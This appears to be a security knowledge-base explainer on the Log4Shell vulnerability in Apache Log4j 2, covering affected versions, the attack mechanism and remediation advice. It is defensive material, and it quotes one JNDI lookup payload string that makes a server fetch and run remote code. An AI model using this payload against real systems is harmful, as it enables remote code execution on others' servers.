Skip to content

Log4Shell (CVE-2021-44228)

CVE-2021-44228CWE-917OWASP A03:2021CVSS 10.0Updated August 29, 20261 min read

Log4Shell is a vulnerability in Apache Log4j 2 that lets an attacker run arbitrary code on a server by getting a single string into a log line. It scores 10.0, the highest CVSS awards. The internet was scanning for it within hours of publication. Log4j hides deep inside Java applications, so the only reliable approach is to find out where you run it and move to 2.17.1 or later.

Affected
Apache Log4j 2.0-beta9 through 2.14.1
Patched in
Log4j 2.15.0; fully addressed from 2.17.1
Actively exploited
yes

On 9 December 2021 a vulnerability was published in Log4j 2, the logging library that sits inside almost every Java application. Within hours the entire internet was scanning for it. Log4Shell has been the textbook illustration of supply-chain depth ever since.

What is Log4Shell

Log4j could look up and substitute values inside a log line. A string such as ${jndi:ldap://example.com/a} was not text to the library but an instruction: fetch something from that server and run it. Anything an application logged could carry that instruction, and applications log almost everything: a username, a search term, a User-Agent header.

How the attack works

The attacker puts the string into a field they suspect gets logged. Often that was simply the User-Agent of an HTTP request. The moment the application wrote that line, the server itself connected out to the attacker, fetched a Java class and executed it. No credentials, no interaction from an employee.

Because the server makes the outbound connection itself, this is also a textbook case of SSRF as a stepping stone to remote code execution.

Why it dragged on for years

Nobody installs Log4j on purpose. It arrives as a dependency of a framework, which arrives with a vendor’s product. Organisations simply did not know where it was running. Applications that were never patched are still found and exploited years later.

What to do now

  • Inventory which applications use Log4j 2, indirect dependencies included. A software bill of materials makes this repeatable.
  • Move to Log4j 2.17.1 or later. Version 2.15.0 closed this CVE, but three related vulnerabilities followed it.
  • Restrict outbound traffic from servers. Without the ability to call out, the second stage of the attack fails.
  • Check whether anything already arrived in December 2021. Access obtained then may still be in place.

Sources

Frequently asked questions

Am I still exposed to Log4Shell?

If you run a Java application that uses Log4j 2 below version 2.17.1, yes. Log4j usually arrives as a dependency of another library, so a manual inventory of your software is the only way to be certain.

Does a WAF help against Log4Shell?

A firewall catches the known patterns and buys you time, but the string can be disguised in dozens of ways. Only upgrading actually fixes it.

Why did Log4Shell score 10.0?

The attack needs no account, no user interaction and works over the network, and it hands the attacker full control of the process. That is the maximum on every axis CVSS measures.

Related articles

Press / to search · Esc